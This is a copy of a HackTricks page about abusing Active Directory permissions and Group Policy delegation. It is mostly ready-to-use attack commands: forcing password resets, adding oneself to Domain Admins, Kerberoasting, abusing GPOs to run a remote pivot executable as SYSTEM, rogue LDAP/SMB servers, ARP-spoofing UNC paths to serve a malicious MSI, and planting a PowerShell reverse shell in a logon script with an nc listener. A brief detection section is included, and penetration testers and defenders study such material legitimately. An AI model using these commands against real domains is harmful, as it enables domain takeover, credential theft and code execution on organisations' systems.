overview.md (31021B)
1 --- 2 title: "Abusing Active Directory ACLs/ACEs" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Abusing Active Directory ACLs/ACEs 14 15 **This page is mostly a summary of the techniques from** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **and** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. For more details, check the original articles.**<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup> 16 17 ## BadSuccessor 18 19 20 [Badsuccessor](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/badsuccessor) 21 22 ## **GenericAll Rights on User** 23 24 This privilege grants an attacker full control over a target user account. Once `GenericAll` rights are confirmed using the `Get-ObjectAcl` command, an attacker can: 25 26 - **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password. 27 - From Linux, you can do the same over SAMR with Samba `net rpc`:<sup>[[9]](#references)[[10]](#references)</sup> 28 29 ```bash 30 # Reset target user's password over SAMR from Linux 31 net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn> 32 ``` 33 34 - **If the account is disabled, clear the UAC flag**: `GenericAll` allows editing `userAccountControl`. From Linux, BloodyAD can remove the `ACCOUNTDISABLE` flag:<sup>[[8]](#references)[[10]](#references)</sup> 35 36 ```bash 37 bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE 38 ``` 39 40 - **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes. 41 42 ```bash 43 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"} 44 .\Rubeus.exe kerberoast /user:<username> /nowrap 45 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose 46 ``` 47 48 - **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting. 49 50 ```bash 51 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304} 52 ``` 53 54 - **Shadow Credentials / Key Credential Link**: With `GenericAll` on a user you can add a certificate-based credential and authenticate as them without changing their password. See: 55 56 [Shadow Credentials](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials) 57 58 ## **GenericAll Rights on Group** 59 60 This privilege allows an attacker to manipulate group memberships if they have `GenericAll` rights on a group like `Domain Admins`. After identifying the group's distinguished name with `Get-NetGroup`, the attacker can: 61 62 - **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit. 63 64 ```bash 65 net group "domain admins" spotless /add /domain 66 Add-ADGroupMember -Identity "domain admins" -Members spotless 67 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" 68 ``` 69 70 - From Linux you can also leverage BloodyAD to add yourself into arbitrary groups when you hold GenericAll/Write membership over them. If the target group is nested into “Remote Management Users”, you will immediately gain WinRM access on hosts honoring that group:<sup>[[8]](#references)</sup> 71 72 ```bash 73 # Linux tooling example (BloodyAD) to add yourself to a target group 74 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user> 75 76 # If the target group is member of "Remote Management Users", WinRM becomes available 77 netexec winrm <dc-fqdn> -u <user> -p '<pass>' 78 ``` 79 80 ## **GenericAll / GenericWrite / Write on Computer/User** 81 82 Holding these privileges on a computer object or a user account allows for: 83 84 - **Kerberos Resource-based Constrained Delegation**: Enables taking over a computer object. 85 - **Shadow Credentials**: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials. 86 87 ## **WriteProperty on Group** 88 89 If a user has `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), they can: 90 91 - **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain. 92 93 ```bash 94 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain 95 ``` 96 97 ## **Self (Self-Membership) on Group** 98 99 This privilege enables attackers to add themselves to specific groups, such as `Domain Admins`, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition: 100 101 ```bash 102 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain 103 ``` 104 105 ## **WriteProperty (Self-Membership)** 106 107 A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the `WriteProperty` right on those groups. The confirmation and execution of this privilege are performed with: 108 109 ```bash 110 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} 111 net group "domain admins" spotless /add /domain 112 ``` 113 114 ## **ForceChangePassword** 115 116 Holding the `ExtendedRight` on a user for `User-Force-Change-Password` allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using `rpcclient` on Linux, demonstrating the versatility of attack vectors. 117 118 ```bash 119 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} 120 Set-DomainUserPassword -Identity delegate -Verbose 121 Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose 122 ``` 123 124 ```bash 125 rpcclient -U KnownUsername 10.10.10.192 126 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' 127 ``` 128 129 ## **WriteOwner on Group** 130 131 If an attacker finds that they have `WriteOwner` rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is `Domain Admins`, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via `Get-ObjectAcl` and then using `Set-DomainObjectOwner` to modify the owner, either by SID or name. 132 133 ```bash 134 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} 135 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose 136 Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico 137 ``` 138 139 ## **GenericWrite on User** 140 141 This permission allows an attacker to modify user properties. Specifically, with `GenericWrite` access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the `Set-ADObject` command to update the `scriptpath` property of the target user to point to the attacker's script. 142 143 ```bash 144 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" 145 ``` 146 147 ## **GenericWrite on Group** 148 149 With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands. 150 151 ```bash 152 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force 153 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) 154 Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose 155 Get-DomainGroupMember -Identity "Group Name" | Select MemberName 156 Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose 157 ``` 158 159 - From Linux, Samba `net` can add/remove members when you hold `GenericWrite` on the group (useful when PowerShell/RSAT are unavailable):<sup>[[9]](#references)[[10]](#references)</sup> 160 161 ```bash 162 # Add yourself to the target group via SAMR 163 net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn> 164 # Verify current members 165 net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn> 166 ``` 167 168 ## **WriteDACL + WriteOwner** 169 170 Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.<sup>[[4]](#references)[[7]](#references)</sup> 171 172 ```bash 173 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" 174 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) 175 $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow" 176 $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) 177 $ADSI.psbase.commitchanges() 178 ``` 179 180 ### WriteDACL/WriteOwner quick takeover (PowerView) 181 182 When you have `WriteOwner` and `WriteDacl` over a user or service account, you can take full control and reset its password using PowerView without knowing the old password: 183 184 ```powershell 185 # Load PowerView 186 . .\PowerView.ps1 187 188 # Grant yourself full control over the target object (adds GenericAll in the DACL) 189 Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose 190 191 # Set a new password for the target principal 192 $cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force 193 Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose 194 ``` 195 196 Notes: 197 - You may need to first change the owner to yourself if you only have `WriteOwner`: 198 199 ```powershell 200 Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You> 201 ``` 202 203 - Validate access with any protocol (SMB/LDAP/RDP/WinRM) after password reset. 204 205 ## **Replication on the Domain (DCSync)** 206 207 The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller.<sup>[[5]](#references)</sup> [**Learn more about the DCSync attack here.**](/hacktricks/windows-hardening/active-directory-methodology/dcsync) 208 209 ## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a> 210 211 ### GPO Delegation 212 213 Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`<sup>[[6]](#references)</sup> 214 215 ### Enumerate GPO Permissions 216 217 To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` 218 219 **Computers with a Given Policy Applied**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` 220 221 **Policies Applied to a Given Computer**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized. 222 223 **OUs with a Given Policy Applied**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`. 224 225 You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them. 226 227 ### Abuse GPO - New-GPOImmediateTask 228 229 Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges: 230 231 ```bash 232 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force 233 ``` 234 235 ### GroupPolicy module - Abuse GPO 236 237 The GroupPolicy module, if installed, allows for the creation and linking of new GPOs, and setting preferences such as registry values to execute backdoors on affected computers. This method requires the GPO to be updated and a user to log in to the computer for execution: 238 239 ```bash 240 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" 241 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString 242 ``` 243 244 ### SharpGPOAbuse - Abuse GPO 245 246 SharpGPOAbuse offers a method to abuse existing GPOs by adding tasks or modifying settings without the need to create new GPOs. This tool requires modification of existing GPOs or using RSAT tools to create new ones before applying changes: 247 248 ```bash 249 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" 250 ``` 251 252 ### Force Policy Update 253 254 GPO updates typically occur around every 90 minutes. To expedite this process, especially after implementing a change, the `gpupdate /force` command can be used on the target computer to force an immediate policy update. This command ensures that any modifications to GPOs are applied without waiting for the next automatic update cycle. 255 256 ### Under the Hood 257 258 Upon inspection of the Scheduled Tasks for a given GPO, like the `Misconfigured Policy`, the addition of tasks such as `evilTask` can be confirmed. These tasks are created through scripts or command-line tools aiming to modify system behavior or escalate privileges. 259 260 The structure of the task, as shown in the XML configuration file generated by `New-GPOImmediateTask`, outlines the specifics of the scheduled task - including the command to be executed and its triggers. This file represents how scheduled tasks are defined and managed within GPOs, providing a method for executing arbitrary commands or scripts as part of policy enforcement. 261 262 ### Users and Groups 263 264 GPOs also allow for the manipulation of user and group memberships on target systems. By editing the Users and Groups policy files directly, attackers can add users to privileged groups, such as the local `administrators` group. This is possible through the delegation of GPO management permissions, which permits the modification of policy files to include new users or change group memberships. 265 266 The XML configuration file for Users and Groups outlines how these changes are implemented. By adding entries to this file, specific users can be granted elevated privileges across affected systems. This method offers a direct approach to privilege escalation through GPO manipulation. 267 268 Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs. 269 270 ### Redirecting GPC/GPT retrieval to authenticated rogue services 271 272 A GPO consists of an LDAP **Group Policy Container (GPC)** with metadata and an SMB-hosted **Group Policy Template (GPT)** with the policy files. During refresh, the client follows the container's `gPLink`, reads the referenced GPC and its `gPCFileSysPath`, then downloads the GPT from that UNC path. Consequently, write access to either the GPC itself or the `gPLink` of an OU, Site or Domain can be converted into privileged policy processing.<sup>[[12]](#references)[[13]](#references)[[14]](#references)[[15]](#references)</sup> 273 274 #### `gPCFileSysPath` poisoning with GPOddity 275 276 If the controlled principal can write the target GPC (directly or through **NTLM relay to LDAP**), replace `gPCFileSysPath` with a UNC path hosted by the attacker. [GPOddity](https://github.com/synacktiv/GPOddity) automates the LDAP change and serves a malicious GPT containing module-based policy files or an Immediate Task that the Group Policy client executes as `NT AUTHORITY\SYSTEM`.<sup>[[12]](#references)[[15]](#references)[[16]](#references)</sup> 277 278 An anonymous or credential-agnostic SMB share is not sufficient on current Windows clients: SMB Secure Negotiate requires proof that authentication succeeded, so the rogue service must validate the domain identity, derive the SMB session key and correctly sign its responses. In embedded mode, configure GPOddity with a controlled machine account and its service key, then select a computer- or user-side payload in the `[COMMANDS]` section.<sup>[[15]](#references)[[16]](#references)</sup> 279 280 ```ini 281 [SMB] 282 smb-mode=embedded 283 smb-machine=SCAPY$ 284 smb-ip=<attacker_ip> 285 smb-nt=<machine_nt_hash> 286 smb-share=gpoddity 287 smb-iface=eth0 288 ``` 289 290 ```bash 291 python3 gpoddity.py --config config.ini -v 292 ``` 293 294 **User GPO edge case:** after MS16-072, Windows still creates two SMB2 sessions in the **same TCP connection**: the user session reads `GPT.INI`, then the computer-account session reads effective configuration such as `ScheduledTasks.xml`. A rogue server must therefore index authentication state, session keys and signing keys by SMB2 `SessionId`, not only by socket. The Scapy fork embedded in GPOddity/OUned implements this through `SMBStreamSocketMultiplexing` and a multiplexing-aware `SMBServer`; single-session Impacket/Scapy servers otherwise reuse the wrong signing state and fail on user policies.<sup>[[15]](#references)</sup> 295 296 #### `gPLink` poisoning with OUned 297 298 With `WriteGPLink`, `GenericWrite` or equivalent control over an OU, Site or Domain, an attacker can append a link whose GPC DN is served by an attacker-controlled LDAP host. This primitive was originally presented by Petros Koutroumpis; [OUned](https://github.com/synacktiv/OUned) automates the LDAP write and the malicious GPC/GPT chain.<sup>[[13]](#references)[[14]](#references)[[17]](#references)</sup> 299 300 ```text 301 [LDAP://cn={7B7D6B23-26F8-4E4B-AF23-F9B9005167F6},cn=policies,cn=system,DC=attacker,DC=corp,DC=com;0] 302 ``` 303 304 The victim first authenticates to the rogue LDAP service and receives a GPC whose `gPCFileSysPath` points to the rogue SMB service; it then authenticates to SMB and applies the supplied GPT. OUned therefore needs an account with an LDAP SPN, a machine account with a HOST SPN for SMB (the same machine account can satisfy both), and DNS resolution or reverse forwarding that sends ports 389 and 445 to the operator host.<sup>[[15]](#references)[[17]](#references)</sup> 305 306 ```bash 307 python3 OUned.py --config config.ini -v 308 ``` 309 310 OUned's embedded Scapy LDAP server validates Kerberos/SPNEGO with the real controlled service key and serves arbitrary GPC data from JSON. The empty JSON key models rootDSE, `base64:` prefixes represent binary values, and the server supports add/delete/modify/search plus `BASE`, `LEVEL` and `SUBTREE` searches; it can negotiate no protection, integrity or confidentiality. This makes the service reusable when another Windows component follows an attacker-controlled LDAP reference but insists on authenticated LDAP.<sup>[[15]](#references)</sup> 311 312 Do not assume that synchronizing an account password into a dummy domain reproduces every Kerberos key: RC4 derives from the password, whereas AES string-to-key also uses a salt derived from the principal's hostname/domain. Supplying the actual account AES key to `KerberosSSP` avoids forcing RC4 through a detectable change to the machine account's self-writable `msDS-SupportedEncryptionTypes`.<sup>[[15]](#references)</sup> 313 314 #### Detection pivots 315 316 Correlate changes to `gPCFileSysPath` or `gPLink` with GPO version changes and new Immediate/Scheduled Task XML. Investigate links to unexpected naming contexts, UNC hosts outside the approved DC/SYSVOL set, DNS records redirecting machine-account names, LDAP/CIFS service tickets for unusual machine accounts, and `msDS-SupportedEncryptionTypes` changes that enable RC4.<sup>[[15]](#references)</sup> 317 318 ### WriteGPLink + UNC path hijacking (ARP spoofing) 319 320 `WriteGPLink` over an OU/domain lets you modify the target container's `gPLink` attribute and **force an existing GPO to apply** without editing the GPO itself. This becomes interesting when the linked GPO already references remote content over **UNC paths** (`\\HOST\share\...`), because authenticated users can read **SYSVOL** and hunt for reusable policies offline.<sup>[[11]](#references)</sup> 321 322 High-level workflow: 323 324 1. Use BloodHound to identify a principal with `WriteGPLink` over an OU and enumerate computers/users inside that OU. 325 2. Clone `SYSVOL` read-only and parse GPOs looking for **Software Installation**, **drive mappings** (`Drives.xml`), and **logon/startup scripts** that reference UNC paths. 326 3. Prefer policies pointing to a **direct hostname** (for example `\\DC02\share\pkg.msi`) instead of DFS/domain-namespace paths, because hostname-based paths are easier to redirect with L2 spoofing. 327 4. Append the chosen GPO GUID to the target OU's `gPLink` so the victim processes that already-existing policy. 328 5. On the same broadcast domain, ARP spoof the UNC host and bind its IP locally (`ip addr add <target_ip>/32 dev <iface>`) so the victim's SMB traffic reaches your host. 329 6. Serve the expected path/filename from an attacker SMB server (for example `smbserver.py`) and wait for normal policy processing. 330 331 Example `SYSVOL` collection and GPO correlation: 332 333 ```bash 334 mkdir -p /mnt/$DOMAIN/SYSVOL/ 335 mount -t cifs -o username=$USER,password=$PASS,domain=$DOMAIN,ro "//$DC_IP/SYSVOL" "/mnt/$DOMAIN/SYSVOL/" 336 rsync -av --exclude="PolicyDefinitions" --update /mnt/$DOMAIN/SYSVOL . 337 python3 parse_sysvol.py software -s <SYSVOL> -b <BloodHound_Folder> 338 python3 parse_sysvol.py drives -s <SYSVOL> -b <BloodHound_Folder> 339 python3 parse_sysvol.py scripts -s <SYSVOL> -b <BloodHound_Folder> 340 ``` 341 342 Link the existing GPO to the target OU: 343 344 ```bash 345 python3 link_gpo.py -u <user> -p '<pass>' -d <domain> -dc-ip <dc_ip> \ 346 --gpo-guid '{<gpo-guid>}' --target-ou "OU=<TargetOU>,DC=<domain>,DC=<tld>" 347 ``` 348 349 #### Software Installation UNC hijack -> SYSTEM 350 351 If the linked GPO deploys an MSI from a UNC path, the client will fetch it during **computer startup** and install it as **`NT AUTHORITY\SYSTEM`**. By spoofing the referenced host and serving a malicious MSI under the **same share/path/name**, you can turn `WriteGPLink` into SYSTEM code execution **without modifying SYSVOL**. 352 353 Important constraints: 354 355 - **Timing matters**: the new link is seen at policy refresh (commonly ~90 minutes), but **Software Installation** usually triggers on **reboot**. 356 - Windows Installer commonly tracks the deployment using the package **`ProductCode`**. If the product is already installed, deployment may be skipped. 357 - To avoid installer rejection, patch the rogue MSI so its **`ProductCode`** and **`PackageCode`** match the legitimate package expected by the GPO. 358 - Old `.aas` advertisement files may remain in `SYSVOL`, so validate that the deployment still looks active before relying on it. 359 360 ```bash 361 ip addr add <unc_host_ip>/32 dev <iface> 362 arpspoof-ng -i <iface> -t <victim1>,<victim2> -s <unc_host_ip> 363 smbserver.py <share> ./payloads -smb2support --interface-address <unc_host_ip> -debug -ts 364 ``` 365 366 #### Drive-map UNC hijack -> NTLM capture / WebDAV relay 367 368 GPP drive mappings in `Drives.xml` cause users to authenticate to the configured UNC path during logon or reconnection. If you spoof the referenced host, you can capture **NetNTLMv2**. If SMB is deliberately made to fail, Windows may retry over **WebDAV**, sending **NTLM over HTTP**, which is far more flexible for relays to **LDAP(S)**, **AD CS**, or **SMB**. 369 370 #### Logon/startup script UNC hijack 371 372 The same pattern applies to UNC-hosted scripts discovered in `SYSVOL`: 373 374 - **Logon scripts** usually execute in the **user** context. 375 - **Startup scripts** usually execute in the **computer / SYSTEM** context. 376 377 If the script path points to a spoofable hostname, redirect the UNC host and serve replacement script content from the expected location. 378 379 ## SYSVOL/NETLOGON Logon Script Poisoning 380 381 Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users. 382 383 ### Locate logon scripts 384 - Inspect user attributes for a configured logon script: 385 386 ```powershell 387 Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath 388 ``` 389 390 - Crawl domain shares to surface shortcuts or references to scripts: 391 392 ```bash 393 # NetExec spider (authenticated) 394 netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus 395 ``` 396 397 - Parse `.lnk` files to resolve targets pointing into SYSVOL/NETLOGON (useful DFIR trick and for attackers without direct GPO access): 398 399 ```bash 400 # LnkParse3 401 lnkparse login.vbs.lnk 402 # Example target revealed: 403 # C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs 404 ``` 405 406 - BloodHound displays the `logonScript` (scriptPath) attribute on user nodes when present. 407 408 ### Validate write access (don’t trust share listings) 409 Automated tooling may show SYSVOL/NETLOGON as read-only, but underlying NTFS ACLs can still allow writes. Always test: 410 411 ```bash 412 # Interactive write test 413 smbclient \\<dc>\SYSVOL -U <user>%<pass> 414 smb: \\> cd <domain>\scripts\ 415 smb: \\<domain>\scripts\\> put smallfile.txt login.vbs # check size/time change 416 ``` 417 418 If file size or mtime changes, you have write. Preserve originals before modifying. 419 420 ### Poison a VBScript logon script for RCE 421 Append a command that launches a PowerShell reverse shell (generate from revshells.com) and keep original logic to avoid breaking business function: 422 423 ```text 424 ' At top of login.vbs 425 Set cmdshell = CreateObject("Wscript.Shell") 426 cmdshell.run "powershell -e <BASE64_PAYLOAD>" 427 428 ' Existing mappings remain 429 MapNetworkShare "\\\\<dc_fqdn>\\apps", "V" 430 MapNetworkShare "\\\\<dc_fqdn>\\docs", "L" 431 ``` 432 433 Listen on your host and wait for the next interactive logon: 434 435 ```bash 436 rlwrap -cAr nc -lnvp 443 437 ``` 438 439 Notes: 440 - Execution happens under the logging user’s token (not SYSTEM). Scope is the GPO link (OU, site, domain) applying that script. 441 - Clean up by restoring the original content/timestamps after use. 442 443 444 ## References 445 446 - [1] [Abusing Active Directory ACLs/ACEs](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) 447 - [2] [Privileged Accounts and Token Privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) 448 - [3] [BloodHound 1.3 – The ACL Attack Path Update](https://wald0.com/?p=112) 449 - [4] [ActiveDirectoryRights Enum - Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2) 450 - [5] [Escalating privileges with ACLs in Active Directory](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) 451 - [6] [Scanning for Active Directory Privileges & Privileged Accounts](https://adsecurity.org/?p=3658) 452 - [7] [ActiveDirectoryAccessRule Constructor - Microsoft Learn](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_) 453 - [8] [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD) 454 - [9] [Samba – net rpc (group membership)](https://www.samba.org/) 455 - [10] [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html) 456 - [11] [TrustedSec - ARP Around and Find Out: Hijacking GPO UNC Paths for Code Execution and NTLM Relay](https://trustedsec.com/blog/arp-around-and-find-out-hijacking-gpo-unc-paths-for-code-execution-and-ntlm-relay) 457 - [12] [GPOddity: exploiting Active Directory GPOs through NTLM relaying, and more](https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more) 458 - [13] [OU having a laugh? - Petros Koutroumpis](https://labs.withsecure.com/publications/ou-having-a-laugh) 459 - [14] [OUned.py: exploiting hidden Organizational Units ACL attack vectors in Active Directory](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory) 460 - [15] [Simulating legitimate Active Directory services on the network: the case of GPO exploitation](https://synacktiv.com/en/publications/simulating-legitimate-active-directory-services-on-the-network-the-case-of-gpo.html) 461 - [16] [Synacktiv GPOddity](https://github.com/synacktiv/GPOddity) 462 - [17] [Synacktiv OUned](https://github.com/synacktiv/OUned)